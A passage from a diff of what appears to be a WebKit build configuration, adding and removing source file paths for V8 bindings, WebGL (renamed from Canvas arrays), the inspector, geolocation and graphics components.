             'bindings/ScriptControllerBase.cpp',
             'bindings/v8/ChildThreadDOMData.cpp',
             'bindings/v8/ChildThreadDOMData.h',
-            'bindings/v8/custom/V8AbstractWorkerCustom.cpp',
             'bindings/v8/custom/V8AttrCustom.cpp',
+            'bindings/v8/custom/V8BarInfoCustom.cpp',
             'bindings/v8/custom/V8CanvasPixelArrayCustom.cpp',
-            'bindings/v8/custom/V8CanvasArrayCustom.h',
-            'bindings/v8/custom/V8CanvasArrayBufferCustom.cpp',
-            'bindings/v8/custom/V8CanvasByteArrayCustom.cpp',
-            'bindings/v8/custom/V8CanvasIntArrayCustom.cpp',
-            'bindings/v8/custom/V8CanvasFloatArrayCustom.cpp',
-            'bindings/v8/custom/V8CanvasShortArrayCustom.cpp',
-            'bindings/v8/custom/V8CanvasUnsignedByteArrayCustom.cpp',
-            'bindings/v8/custom/V8CanvasUnsignedIntArrayCustom.cpp',
-            'bindings/v8/custom/V8CanvasUnsignedShortArrayCustom.cpp',
+            'bindings/v8/custom/V8WebGLArrayCustom.h',
+            'bindings/v8/custom/V8WebGLArrayCustom.cpp',
+            'bindings/v8/custom/V8WebGLArrayBufferCustom.cpp',
+            'bindings/v8/custom/V8WebGLByteArrayCustom.cpp',
+            'bindings/v8/custom/V8WebGLIntArrayCustom.cpp',
+            'bindings/v8/custom/V8WebGLFloatArrayCustom.cpp',
+            'bindings/v8/custom/V8WebGLShortArrayCustom.cpp',
+            'bindings/v8/custom/V8WebGLUnsignedByteArrayCustom.cpp',
+            'bindings/v8/custom/V8WebGLUnsignedIntArrayCustom.cpp',
+            'bindings/v8/custom/V8WebGLUnsignedShortArrayCustom.cpp',
             'bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp',
-            'bindings/v8/custom/V8CanvasRenderingContext3DCustom.cpp',
-            'bindings/v8/custom/V8ClientRectListCustom.cpp',
+            'bindings/v8/custom/V8WebGLRenderingContextCustom.cpp',
             'bindings/v8/custom/V8ClipboardCustom.cpp',
+            'bindings/v8/custom/V8CoordinatesCustom.cpp',
+            'bindings/v8/custom/V8CSSRuleCustom.cpp',
             'bindings/v8/custom/V8CSSStyleDeclarationCustom.cpp',
-            'bindings/v8/custom/V8CustomBinding.cpp',
-            'bindings/v8/custom/V8CustomBinding.h',
+            'bindings/v8/custom/V8CSSStyleSheetCustom.cpp',
+            'bindings/v8/custom/V8CSSValueCustom.cpp',
+            'bindings/v8/custom/V8CustomCallback.h',
             'bindings/v8/custom/V8CustomEventListener.cpp',
             'bindings/v8/custom/V8CustomEventListener.h',
+            'bindings/v8/custom/V8CustomPositionCallback.cpp',
+            'bindings/v8/custom/V8CustomPositionCallback.h',
+            'bindings/v8/custom/V8CustomPositionErrorCallback.cpp',
+            'bindings/v8/custom/V8CustomPositionErrorCallback.h',
             'bindings/v8/custom/V8CustomSQLStatementCallback.cpp',
             'bindings/v8/custom/V8CustomSQLStatementCallback.h',
             'bindings/v8/custom/V8CustomSQLStatementErrorCallback.cpp',
@@ -665,17 +716,21 @@
             'bindings/v8/custom/V8CustomVoidCallback.h',
             'bindings/v8/custom/V8CustomXPathNSResolver.cpp',
             'bindings/v8/custom/V8CustomXPathNSResolver.h',
+            'bindings/v8/custom/V8DatabaseCallback.cpp',
+            'bindings/v8/custom/V8DatabaseCallback.h',
             'bindings/v8/custom/V8DatabaseCustom.cpp',
             'bindings/v8/custom/V8DataGridColumnListCustom.cpp',
             'bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp',
             'bindings/v8/custom/V8DocumentLocationCustom.cpp',
-            'bindings/v8/custom/V8DOMApplicationCacheCustom.cpp',
-            'bindings/v8/custom/V8DOMParserConstructor.cpp',
+            'bindings/v8/custom/V8DOMFormDataCustom.cpp',
+            'bindings/v8/custom/V8DOMSelectionCustom.cpp',
             'bindings/v8/custom/V8DOMWindowCustom.cpp',
             'bindings/v8/custom/V8DocumentCustom.cpp',
             'bindings/v8/custom/V8ElementCustom.cpp',
             'bindings/v8/custom/V8EventCustom.cpp',
-            'bindings/v8/custom/V8FileListCustom.cpp',
+            'bindings/v8/custom/V8EventSourceConstructor.cpp',
+            'bindings/v8/custom/V8GeolocationCustom.cpp',
+            'bindings/v8/custom/V8HistoryCustom.cpp',
             'bindings/v8/custom/V8HTMLAudioElementConstructor.cpp',
             'bindings/v8/custom/V8HTMLAudioElementConstructor.h',
             'bindings/v8/custom/V8HTMLAllCollectionCustom.cpp',
@@ -683,6 +738,7 @@
             'bindings/v8/custom/V8HTMLCollectionCustom.cpp',
             'bindings/v8/custom/V8HTMLDataGridElementCustom.cpp',
             'bindings/v8/custom/V8HTMLDocumentCustom.cpp',
+            'bindings/v8/custom/V8HTMLElementCustom.cpp',
             'bindings/v8/custom/V8HTMLFormElementCustom.cpp',
             'bindings/v8/custom/V8HTMLFrameElementCustom.cpp',
             'bindings/v8/custom/V8HTMLFrameSetElementCustom.cpp',
@@ -694,10 +750,12 @@
             'bindings/v8/custom/V8HTMLOptionElementConstructor.h',
             'bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp',
             'bindings/v8/custom/V8HTMLPlugInElementCustom.cpp',
-            'bindings/v8/custom/V8HTMLSelectElementCollectionCustom.cpp',
             'bindings/v8/custom/V8HTMLSelectElementCustom.cpp',
             'bindings/v8/custom/V8HTMLSelectElementCustom.h',
-            'bindings/v8/custom/V8InspectorBackendCustom.cpp',
+            'bindings/v8/custom/V8IDBRequestCustom.cpp',
+            'bindings/v8/custom/V8IndexedDatabaseRequestCustom.cpp',
+            'bindings/v8/custom/V8InjectedScriptHostCustom.cpp',
+            'bindings/v8/custom/V8InspectorFrontendHostCustom.cpp',
             'bindings/v8/custom/V8LocationCustom.cpp',
             'bindings/v8/custom/V8MessageChannelConstructor.cpp',
             'bindings/v8/custom/V8MessageEventCustom.cpp',
@@ -712,13 +770,18 @@
             'bindings/v8/custom/V8NodeIteratorCustom.cpp',
             'bindings/v8/custom/V8NodeListCustom.cpp',
             'bindings/v8/custom/V8NotificationCenterCustom.cpp',
+            'bindings/v8/custom/V8PopStateEventCustom.cpp',
             'bindings/v8/custom/V8StorageCustom.cpp',
             'bindings/v8/custom/V8SQLResultSetRowListCustom.cpp',
             'bindings/v8/custom/V8SQLTransactionCustom.cpp',
-            'bindings/v8/custom/V8SVGElementInstanceCustom.cpp',
+            'bindings/v8/custom/V8SVGDocumentCustom.cpp',
+            'bindings/v8/custom/V8SVGElementCustom.cpp',
             'bindings/v8/custom/V8SVGLengthCustom.cpp',
             'bindings/v8/custom/V8SVGMatrixCustom.cpp',
+            'bindings/v8/custom/V8SVGPathSegCustom.cpp',
+            'bindings/v8/custom/V8ScreenCustom.cpp',
             'bindings/v8/custom/V8SharedWorkerCustom.cpp',
+            'bindings/v8/custom/V8StyleSheetCustom.cpp',
             'bindings/v8/custom/V8StyleSheetListCustom.cpp',
             'bindings/v8/custom/V8TreeWalkerCustom.cpp',
             'bindings/v8/custom/V8WebKitCSSMatrixConstructor.cpp',
@@ -728,9 +791,6 @@
             'bindings/v8/custom/V8WorkerCustom.cpp',
             'bindings/v8/custom/V8XMLHttpRequestConstructor.cpp',
             'bindings/v8/custom/V8XMLHttpRequestCustom.cpp',
-            'bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp',
-            'bindings/v8/custom/V8XMLSerializerConstructor.cpp',
-            'bindings/v8/custom/V8XPathEvaluatorConstructor.cpp',
             'bindings/v8/custom/V8XSLTProcessorCustom.cpp',
             'bindings/v8/DateExtension.cpp',
             'bindings/v8/DateExtension.h',
@@ -738,14 +798,15 @@
             'bindings/v8/DOMData.h',
             'bindings/v8/DOMDataStore.cpp',
             'bindings/v8/DOMDataStore.h',
-            'bindings/v8/DOMObjectsInclude.h',
+            'bindings/v8/DOMWrapperWorld.cpp',
+            'bindings/v8/DOMWrapperWorld.h',
+            'bindings/v8/IsolatedWorld.cpp',
+            'bindings/v8/IsolatedWorld.h',
             'bindings/v8/MainThreadDOMData.cpp',
             'bindings/v8/MainThreadDOMData.h',
             'bindings/v8/NPV8Object.cpp',
             'bindings/v8/NPV8Object.h',
             'bindings/v8/OwnHandle.h',
-            'bindings/v8/RuntimeEnabledFeatures.cpp',
-            'bindings/v8/RuntimeEnabledFeatures.h',
             'bindings/v8/ScheduledAction.cpp',
             'bindings/v8/ScheduledAction.h',
             'bindings/v8/ScopedDOMDataStore.cpp',
@@ -759,6 +820,8 @@
             'bindings/v8/ScriptCallStack.h',
             'bindings/v8/ScriptController.cpp',
             'bindings/v8/ScriptController.h',
+            'bindings/v8/ScriptDebugServer.cpp',
+            'bindings/v8/ScriptDebugServer.h',
             'bindings/v8/ScriptEventListener.cpp',
             'bindings/v8/ScriptEventListener.h',
             'bindings/v8/ScriptFunctionCall.cpp',
@@ -767,8 +830,9 @@
             'bindings/v8/ScriptInstance.h',
             'bindings/v8/ScriptObject.cpp',
             'bindings/v8/ScriptObject.h',
-            'bindings/v8/ScriptObjectQuarantine.cpp',
-            'bindings/v8/ScriptObjectQuarantine.h',
+            'bindings/v8/ScriptProfile.h',
+            'bindings/v8/ScriptProfiler.cpp',
+            'bindings/v8/ScriptProfiler.h',
             'bindings/v8/ScriptScope.cpp',
             'bindings/v8/ScriptScope.h',
             'bindings/v8/ScriptSourceCode.h',
@@ -779,7 +843,12 @@
             'bindings/v8/ScriptStringImpl.h',
             'bindings/v8/ScriptValue.cpp',
             'bindings/v8/ScriptValue.h',
+            'bindings/v8/ScriptWrappable.h',
+            'bindings/v8/SerializedScriptValue.cpp',
             'bindings/v8/SerializedScriptValue.h',
+            'bindings/v8/specialization/V8BindingDOMWindow.h',
+            'bindings/v8/specialization/V8BindingState.cpp',
+            'bindings/v8/specialization/V8BindingState.h',
             'bindings/v8/StaticDOMDataStore.cpp',
             'bindings/v8/StaticDOMDataStore.h',
             'bindings/v8/V8AbstractEventListener.cpp',
@@ -794,20 +863,22 @@
             'bindings/v8/V8DataGridDataSource.h',
             'bindings/v8/V8DOMMap.cpp',
             'bindings/v8/V8DOMMap.h',
+            'bindings/v8/V8DOMWindowShell.cpp',
+            'bindings/v8/V8DOMWindowShell.h',
             'bindings/v8/V8DOMWrapper.cpp',
             'bindings/v8/V8DOMWrapper.h',
             'bindings/v8/V8EventListenerList.cpp',
             'bindings/v8/V8EventListenerList.h',
             'bindings/v8/V8GCController.cpp',
             'bindings/v8/V8GCController.h',
+            'bindings/v8/V8GCForContextDispose.cpp',
+            'bindings/v8/V8GCForContextDispose.h',
             'bindings/v8/V8Helpers.cpp',
             'bindings/v8/V8Helpers.h',
             'bindings/v8/V8HiddenPropertyName.cpp',
             'bindings/v8/V8HiddenPropertyName.h',
-            'bindings/v8/V8Index.cpp',
-            'bindings/v8/V8Index.h',
-            'bindings/v8/V8IsolatedWorld.cpp',
-            'bindings/v8/V8IsolatedWorld.h',
+            'bindings/v8/V8IsolatedContext.cpp',
+            'bindings/v8/V8IsolatedContext.h',
             'bindings/v8/V8LazyEventListener.cpp',
             'bindings/v8/V8LazyEventListener.h',
             'bindings/v8/V8NPObject.cpp',
@@ -827,6 +898,9 @@
             'bindings/v8/WorkerContextExecutionProxy.cpp',
             'bindings/v8/WorkerScriptController.h',
             'bindings/v8/WorkerScriptController.cpp',
+            'bindings/v8/WorldContextHandle.cpp',
+            'bindings/v8/WorldContextHandle.h',
+            'bindings/v8/WrapperTypeInfo.h',
             'bindings/v8/npruntime.cpp',
             'bindings/v8/npruntime_impl.h',
             'bindings/v8/npruntime_internal.h',
@@ -981,14 +1055,14 @@
             'dom/CDATASection.h',
             'dom/CSSMappedAttributeDeclaration.cpp',
             'dom/CSSMappedAttributeDeclaration.h',
+            'dom/CanvasSurface.cpp',
+            'dom/CanvasSurface.h',
             'dom/CharacterData.cpp',
             'dom/CharacterData.h',
             'dom/CheckedRadioButtons.cpp',
             'dom/CheckedRadioButtons.h',
             'dom/ChildNodeList.cpp',
             'dom/ChildNodeList.h',
-            'dom/ClassNames.cpp',
-            'dom/ClassNames.h',
             'dom/ClassNodeList.cpp',
             'dom/ClassNodeList.h',
             'dom/ClientRect.cpp',
@@ -1002,9 +1076,13 @@
             'dom/ClipboardEvent.h',
             'dom/Comment.cpp',
             'dom/Comment.h',
+            'dom/CompositionEvent.cpp',
+            'dom/CompositionEvent.h',
             'dom/ContainerNode.cpp',
             'dom/ContainerNode.h',
             'dom/ContainerNodeAlgorithms.h',
+            'dom/CustomEvent.cpp',
+            'dom/CustomEvent.h',
             'dom/DOMCoreException.h',
             'dom/DOMImplementation.cpp',
             'dom/DOMImplementation.h',
@@ -1088,6 +1166,8 @@
             'dom/OptionGroupElement.h',
             'dom/OverflowEvent.cpp',
             'dom/OverflowEvent.h',
+            'dom/PopStateEvent.cpp',
+            'dom/PopStateEvent.h',
             'dom/PageTransitionEvent.cpp',
             'dom/PageTransitionEvent.h',
             'dom/Position.cpp',
@@ -1114,6 +1194,8 @@
             'dom/SelectElement.h',
             'dom/SelectorNodeList.cpp',
             'dom/SelectorNodeList.h',
+            'dom/SpaceSplitString.cpp',
+            'dom/SpaceSplitString.h',
             'dom/StaticNodeList.cpp',
             'dom/StaticNodeList.h',
             'dom/StaticStringList.cpp',
@@ -1128,6 +1210,11 @@
             'dom/Text.h',
             'dom/TextEvent.cpp',
             'dom/TextEvent.h',
+            'dom/Touch.cpp',
+            'dom/Touch.h',
+            'dom/TouchEvent.cpp',
+            'dom/TouchList.cpp',
+            'dom/TouchList.h',
             'dom/Tokenizer.h',
             'dom/TransformSourceLibxslt.cpp',
             'dom/TransformSource.h',
@@ -1268,52 +1355,62 @@
             'history/HistoryItem.h',
             'history/PageCache.cpp',
             'history/PageCache.h',
-            'html/canvas/CanvasArray.cpp',
-            'html/canvas/CanvasArray.h',
-            'html/canvas/CanvasArrayBuffer.cpp',
-            'html/canvas/CanvasArrayBuffer.h',
-            'html/canvas/CanvasBuffer.cpp',
-            'html/canvas/CanvasBuffer.h',
-            'html/canvas/CanvasByteArray.cpp',
-            'html/canvas/CanvasByteArray.h',
-            'html/canvas/CanvasFloatArray.cpp',
-            'html/canvas/CanvasFloatArray.h',
-            'html/canvas/CanvasFramebuffer.cpp',
-            'html/canvas/CanvasFramebuffer.h',
+            'html/Blob.cpp',
+            'html/Blob.h',
+            'html/canvas/WebGLArray.cpp',
+            'html/canvas/WebGLArray.h',
+            'html/canvas/WebGLArrayBuffer.cpp',
+            'html/canvas/WebGLArrayBuffer.h',
+            'html/canvas/WebGLBuffer.cpp',
+            'html/canvas/WebGLBuffer.h',
+            'html/canvas/WebGLByteArray.cpp',
+            'html/canvas/WebGLByteArray.h',
+            'html/canvas/WebGLContextAttributes.cpp',
+            'html/canvas/WebGLContextAttributes.h',
+            'html/canvas/WebGLFloatArray.cpp',
+            'html/canvas/WebGLFloatArray.h',
+            'html/canvas/WebGLFramebuffer.cpp',
+            'html/canvas/WebGLFramebuffer.h',
+            'html/canvas/WebGLGetInfo.cpp',
+            'html/canvas/WebGLGetInfo.h',
+            'html/canvas/CanvasContextAttributes.cpp',
+            'html/canvas/CanvasContextAttributes.h',
             'html/canvas/CanvasGradient.cpp',
             'html/canvas/CanvasGradient.h',
-            'html/canvas/CanvasIntArray.cpp',
-            'html/canvas/CanvasIntArray.h',
+            'html/canvas/WebGLIntArray.cpp',
+            'html/canvas/WebGLIntArray.h',
             'html/canvas/CanvasObject.cpp',
             'html/canvas/CanvasObject.h',
             'html/canvas/CanvasPattern.cpp',
             'html/canvas/CanvasPattern.h',
             'html/canvas/CanvasPixelArray.cpp',
             'html/canvas/CanvasPixelArray.h',
-            'html/canvas/CanvasProgram.cpp',
-            'html/canvas/CanvasProgram.h',
-            'html/canvas/CanvasRenderbuffer.cpp',
-            'html/canvas/CanvasRenderbuffer.h',
+            'html/canvas/WebGLProgram.cpp',
+            'html/canvas/WebGLProgram.h',
+            'html/canvas/WebGLRenderbuffer.cpp',
+            'html/canvas/WebGLRenderbuffer.h',
             'html/canvas/CanvasRenderingContext.cpp',
             'html/canvas/CanvasRenderingContext.h',
             'html/canvas/CanvasRenderingContext2D.cpp',
             'html/canvas/CanvasRenderingContext2D.h',
-            'html/canvas/CanvasRenderingContext3D.cpp',
-            'html/canvas/CanvasRenderingContext3D.h',
-            'html/canvas/CanvasShader.cpp',
-            'html/canvas/CanvasShader.h',
-            'html/canvas/CanvasShortArray.cpp',
-            'html/canvas/CanvasShortArray.h',
+            'html/canvas/WebGLRenderingContext.cpp',
+            'html/canvas/WebGLRenderingContext.h',
+            'html/canvas/WebGLShader.cpp',
+            'html/canvas/WebGLShader.h',
+            'html/canvas/WebGLShortArray.cpp',
+            'html/canvas/WebGLShortArray.h',
             'html/canvas/CanvasStyle.cpp',
             'html/canvas/CanvasStyle.h',
-            'html/canvas/CanvasTexture.cpp',
-            'html/canvas/CanvasTexture.h',
-            'html/canvas/CanvasUnsignedByteArray.cpp',
-            'html/canvas/CanvasUnsignedByteArray.h',
-            'html/canvas/CanvasUnsignedIntArray.cpp',
-            'html/canvas/CanvasUnsignedIntArray.h',
-            'html/canvas/CanvasUnsignedShortArray.cpp',
-            'html/canvas/CanvasUnsignedShortArray.h',
+            'html/canvas/WebGLTexture.cpp',
+            'html/canvas/WebGLTexture.h',
+            'html/canvas/WebGLUniformLocation.cpp',
+            'html/canvas/WebGLUniformLocation.h',
+            'html/canvas/WebGLUnsignedByteArray.cpp',
+            'html/canvas/WebGLUnsignedByteArray.h',
+            'html/canvas/WebGLUnsignedIntArray.cpp',
+            'html/canvas/WebGLUnsignedIntArray.h',
+            'html/canvas/WebGLUnsignedShortArray.cpp',
+            'html/canvas/WebGLUnsignedShortArray.h',
             'html/CollectionCache.cpp',
             'html/CollectionCache.h',
             'html/CollectionType.h',
@@ -1321,8 +1418,12 @@
             'html/DataGridColumn.h',
             'html/DOMDataGridDataSource.cpp',
             'html/DOMDataGridDataSource.h',
+            'html/DOMFormData.cpp',
+            'html/DOMFormData.h',
             'html/DataGridColumnList.cpp',
             'html/DataGridColumnList.h',
+            'html/DateComponents.cpp',
+            'html/DateComponents.h',
             'html/File.cpp',
             'html/File.h',
             'html/FileList.cpp',
@@ -1461,6 +1562,8 @@
             'html/HTMLPlugInImageElement.h',
             'html/HTMLPreElement.cpp',
             'html/HTMLPreElement.h',
+            'html/HTMLProgressElement.cpp',
+            'html/HTMLProgressElement.h',
             'html/HTMLQuoteElement.cpp',
             'html/HTMLQuoteElement.h',
             'html/HTMLScriptElement.cpp',
@@ -1504,6 +1607,8 @@
             'html/MediaError.h',
             'html/PreloadScanner.cpp',
             'html/PreloadScanner.h',
+            'html/StepRange.cpp',
+            'html/StepRange.h',
             'html/TextMetrics.h',
             'html/TimeRanges.cpp',
             'html/TimeRanges.h',
@@ -1513,6 +1618,10 @@
             'inspector/InspectorClient.h',
             'inspector/ConsoleMessage.cpp',
             'inspector/ConsoleMessage.h',
+            'inspector/InjectedScript.cpp',
+            'inspector/InjectedScript.h',
+            'inspector/InjectedScriptHost.cpp',
+            'inspector/InjectedScriptHost.h',
             'inspector/InspectorBackend.cpp',
             'inspector/InspectorBackend.h',
             'inspector/InspectorController.cpp',
@@ -1525,19 +1634,20 @@
             'inspector/InspectorDOMStorageResource.h',
             'inspector/InspectorFrontend.cpp',
             'inspector/InspectorFrontend.h',
+            'inspector/InspectorFrontendClient.h',
+            'inspector/InspectorFrontendClientLocal.cpp',
+            'inspector/InspectorFrontendClientLocal.h',
+            'inspector/InspectorFrontendHost.cpp',
+            'inspector/InspectorFrontendHost.h',
             'inspector/InspectorResource.cpp',
             'inspector/InspectorResource.h',
             'inspector/InspectorTimelineAgent.cpp',
             'inspector/InspectorTimelineAgent.h',
+            'inspector/InspectorWorkerResource.h',
             'inspector/JavaScriptCallFrame.cpp',
             'inspector/JavaScriptCallFrame.h',
-            'inspector/JavaScriptDebugListener.h',
-            'inspector/JavaScriptDebugServer.cpp',
-            'inspector/JavaScriptDebugServer.h',
-            'inspector/JavaScriptProfile.cpp',
-            'inspector/JavaScriptProfile.h',
-            'inspector/JavaScriptProfileNode.cpp',
-            'inspector/JavaScriptProfileNode.h',
+            'inspector/ScriptBreakpoint.h',
+            'inspector/ScriptDebugListener.h',
             'inspector/TimelineRecordFactory.cpp',
             'inspector/TimelineRecordFactory.h',
             'loader/appcache/ApplicationCache.cpp',
@@ -1695,7 +1805,6 @@
             'page/chromium/DragControllerChromium.cpp',
             'page/chromium/EventHandlerChromium.cpp',
             'page/chromium/FrameChromium.cpp',
-            'page/chromium/FrameChromium.h',
             'page/gtk/DragControllerGtk.cpp',
             'page/gtk/EventHandlerGtk.cpp',
             'page/gtk/FrameGtk.cpp',
@@ -1732,6 +1841,7 @@
             'page/ContextMenuClient.h',
             'page/ContextMenuController.cpp',
             'page/ContextMenuController.h',
+            'page/ContextMenuProvider.h',
             'page/DOMSelection.cpp',
             'page/DOMSelection.h',
             'page/DOMTimer.cpp',
@@ -1745,6 +1855,8 @@
             'page/EditorClient.h',
             'page/EventHandler.cpp',
             'page/EventHandler.h',
+            'page/EventSource.cpp',
+            'page/EventSource.h',
             'page/FocusController.cpp',
             'page/FocusController.h',
             'page/FocusDirection.h',
@@ -1757,6 +1869,13 @@
             'page/FrameView.h',
             'page/Geolocation.cpp',
             'page/Geolocation.h',
+            'page/GeolocationController.cpp',
+            'page/GeolocationController.h',
+            'page/GeolocationControllerClient.h',
+            'page/GeolocationError.h',
+            'page/GeolocationPosition.h',
+            'page/GeolocationPositionCache.cpp',
+            'page/GeolocationPositionCache.h',
             'page/Geoposition.h',
             'page/HaltablePlugin.h',
             'page/History.cpp',
@@ -1793,6 +1912,8 @@
             'page/SecurityOriginHash.h',
             'page/Settings.cpp',
             'page/Settings.h',
+            'page/SpatialNavigation.h',
+            'page/SpatialNavigation.cpp',
             'page/UserContentURLPattern.cpp',
             'page/UserContentURLPattern.h',
             'page/UserScript.h',
@@ -1806,6 +1927,7 @@
             'page/WorkerNavigator.h',
             'page/XSSAuditor.cpp',
             'page/XSSAuditor.h',
+            'page/ZoomMode.h',
             'platform/animation/Animation.cpp',
             'platform/animation/Animation.h',
             'platform/animation/AnimationList.cpp',
@@ -1841,6 +1963,8 @@
             'platform/chromium/FramelessScrollView.cpp',
             'platform/chromium/FramelessScrollView.h',
             'platform/chromium/FramelessScrollViewClient.h',
+            'platform/chromium/GeolocationServiceChromium.cpp',
+            'platform/chromium/GeolocationServiceChromium.h',
             'platform/chromium/KeyCodeConversion.h',
             'platform/chromium/KeyCodeConversionGtk.cpp',
             'platform/chromium/KeyboardCodesPosix.h',
@@ -1861,6 +1985,8 @@
             'platform/chromium/ScrollbarThemeChromium.cpp',
             'platform/chromium/ScrollbarThemeChromium.h',
             'platform/chromium/ScrollbarThemeChromiumLinux.cpp',
+            'platform/chromium/ScrollbarThemeChromiumMac.h',
+            'platform/chromium/ScrollbarThemeChromiumMac.mm',
             'platform/chromium/ScrollbarThemeChromiumWin.cpp',
             'platform/chromium/SearchPopupMenuChromium.cpp',
             'platform/chromium/SharedTimerChromium.cpp',
@@ -1890,6 +2016,7 @@
             'platform/graphics/cg/FloatRectCG.cpp',
             'platform/graphics/cg/FloatSizeCG.cpp',
             'platform/graphics/cg/GradientCG.cpp',
+            'platform/graphics/cg/GraphicsContext3DCG.cpp',
             'platform/graphics/cg/GraphicsContextCG.cpp',
             'platform/graphics/cg/GraphicsContextPlatformPrivateCG.h',
             'platform/graphics/cg/ImageBufferCG.cpp',
@@ -1947,6 +2074,11 @@
             'platform/graphics/filters/FEComposite.h',
             'platform/graphics/filters/FEGaussianBlur.cpp',
             'platform/graphics/filters/FEGaussianBlur.h',
+            'platform/graphics/filters/Filter.h',
+            'platform/graphics/filters/FilterEffect.cpp',
+            'platform/graphics/filters/FilterEffect.h',
+            'platform/graphics/filters/ImageBufferFilter.cpp',
+            'platform/graphics/filters/ImageBufferFilter.h',
             'platform/graphics/filters/SourceAlpha.cpp',
             'platform/graphics/filters/SourceAlpha.h',
             'platform/graphics/filters/SourceGraphic.cpp',
@@ -1974,17 +2106,18 @@
             'platform/graphics/gtk/VideoSinkGStreamer.h',
             'platform/graphics/mac/ColorMac.h',
             'platform/graphics/mac/ColorMac.mm',
-            'platform/graphics/mac/CoreTextController.cpp',
-            'platform/graphics/mac/CoreTextController.h',
+            'platform/graphics/mac/ComplexTextController.cpp',
+            'platform/graphics/mac/ComplexTextController.h',
+            'platform/graphics/mac/ComplexTextControllerATSUI.cpp',
+            'platform/graphics/mac/ComplexTextControllerCoreText.cpp',
             'platform/graphics/mac/FloatPointMac.mm',
             'platform/graphics/mac/FloatRectMac.mm',
             'platform/graphics/mac/FloatSizeMac.mm',
             'platform/graphics/mac/FontCacheMac.mm',
+            'platform/graphics/mac/FontComplexTextMac.cpp',
             'platform/graphics/mac/FontCustomPlatformData.cpp',
             'platform/graphics/mac/FontCustomPlatformData.h',
             'platform/graphics/mac/FontMac.mm',
-            'platform/graphics/mac/FontMacATSUI.mm',
-            'platform/graphics/mac/FontMacCoreText.cpp',
             'platform/graphics/mac/FontPlatformData.h',
             'platform/graphics/mac/FontPlatformDataMac.mm',
             'platform/graphics/mac/GlyphPageTreeNodeMac.cpp',
@@ -2005,6 +2138,8 @@
             'platform/graphics/mac/WebTiledLayer.h',
             'platform/graphics/mac/WebTiledLayer.mm',
             'platform/graphics/MediaPlayer.cpp',
+            'platform/graphics/opentype/OpenTypeSanitizer.cpp',
+            'platform/graphics/opentype/OpenTypeSanitizer.h',
             'platform/graphics/opentype/OpenTypeUtilities.cpp',
             'platform/graphics/opentype/OpenTypeUtilities.h',
             'platform/graphics/qt/ColorQt.cpp',
@@ -2045,10 +2180,17 @@
             'platform/graphics/skia/GradientSkia.cpp',
             'platform/graphics/skia/GraphicsContextPlatformPrivate.h',
             'platform/graphics/skia/GraphicsContextSkia.cpp',
+            'platform/graphics/skia/GraphicsContext3DSkia.cpp',
+            'platform/graphics/skia/GraphicsLayerSkia.cpp',
+            'platform/graphics/skia/GraphicsLayerSkia.h',
             'platform/graphics/skia/ImageBufferSkia.cpp',
             'platform/graphics/skia/ImageSkia.cpp',
             'platform/graphics/skia/IntPointSkia.cpp',
             'platform/graphics/skia/IntRectSkia.cpp',
+            'platform/graphics/skia/LayerRendererSkia.cpp',
+            'platform/graphics/skia/LayerRendererSkia.h',
+            'platform/graphics/skia/LayerSkia.cpp',
+            'platform/graphics/skia/LayerSkia.h',
             'platform/graphics/skia/NativeImageSkia.cpp',
             'platform/graphics/skia/NativeImageSkia.h',
             'platform/graphics/skia/PathSkia.cpp',
@@ -2061,6 +2203,8 @@
             'platform/graphics/skia/SkiaUtils.cpp',
             'platform/graphics/skia/SkiaUtils.h',
             'platform/graphics/skia/TransformationMatrixSkia.cpp',
+            'platform/graphics/transforms/AffineTransform.cpp',
+            'platform/graphics/transforms/AffineTransform.h',
             'platform/graphics/transforms/IdentityTransformOperation.h',
             'platform/graphics/transforms/Matrix3DTransformOperation.cpp',
             'platform/graphics/transforms/Matrix3DTransformOperation.h',
@@ -2180,6 +2324,7 @@
             'platform/graphics/Gradient.h',
             'platform/graphics/GraphicsContext.cpp',
             'platform/graphics/GraphicsContext.h',
+            'platform/graphics/GraphicsContext3D.cpp',
             'platform/graphics/GraphicsContext3D.h',
             'platform/graphics/GraphicsContextPrivate.h',
             'platform/graphics/GraphicsLayer.cpp',
@@ -2283,8 +2428,6 @@
             'platform/image-decoders/png/PNGImageDecoder.h',
             'platform/image-decoders/skia/ImageDecoderSkia.cpp',
             'platform/image-decoders/wx/ImageDecoderWx.cpp',
-            'platform/image-decoders/xbm/XBMImageDecoder.cpp',
-            'platform/image-decoders/xbm/XBMImageDecoder.h',
             'platform/image-decoders/zlib/crc32.h',
             'platform/image-decoders/zlib/deflate.h',
             'platform/image-decoders/zlib/inffast.h',
@@ -2359,17 +2502,6 @@
             'platform/network/cf/AuthenticationCF.h',
             'platform/network/cf/AuthenticationChallenge.h',
             'platform/network/cf/DNSCFNet.cpp',
-            'platform/network/cf/FormDataStreamCFNet.cpp',
-            'platform/network/cf/FormDataStreamCFNet.h',
-            'platform/network/cf/ResourceError.h',
-            'platform/network/cf/ResourceErrorCF.cpp',
-            'platform/network/cf/ResourceHandleCFNet.cpp',
-            'platform/network/cf/ResourceRequest.h',
-            'platform/network/cf/ResourceRequestCFNet.cpp',
-            'platform/network/cf/ResourceRequestCFNet.h',
-            'platform/network/cf/ResourceResponse.h',
-            'platform/network/cf/ResourceResponseCFNet.cpp',
-            'platform/network/cf/ResourceResponseCFNet.h',
             'platform/network/cf/SocketStreamError.h',
             'platform/network/cf/SocketStreamHandle.h',
             'platform/network/cf/SocketStreamHandleCFNet.cpp',
@@ -2441,6 +2573,7 @@
             'platform/network/win/ResourceHandleWin.h',
             'platform/network/AuthenticationChallengeBase.cpp',
             'platform/network/AuthenticationChallengeBase.h',
+            'platform/network/AuthenticationClient.h',
             'platform/network/Credential.cpp',
             'platform/network/Credential.h',
             'platform/network/DNS.h',
@@ -2575,7 +2708,7 @@
             'platform/text/StringImpl.cpp',
             'platform/text/StringImpl.h',
             'platform/text/TextBoundaries.h',
-            'platform/text/TextBoundariesICU.cpp',
+            'platform/text/TextBoundaries.cpp',
             'platform/text/TextBreakIterator.h',
             'platform/text/TextBreakIteratorICU.cpp',
             'platform/text/TextBreakIteratorInternalICU.h',
@@ -2755,6 +2888,8 @@
             'platform/ScrollbarThemeComposite.cpp',
             'platform/ScrollbarThemeComposite.h',
             'platform/SearchPopupMenu.h',
+            'platform/SecureTextInput.cpp',
+            'platform/SecureTextInput.h',
             'platform/SharedBuffer.cpp',
             'platform/SharedBuffer.h',
             'platform/SharedTimer.h',
@@ -2775,6 +2910,7 @@
             'platform/Widget.cpp',
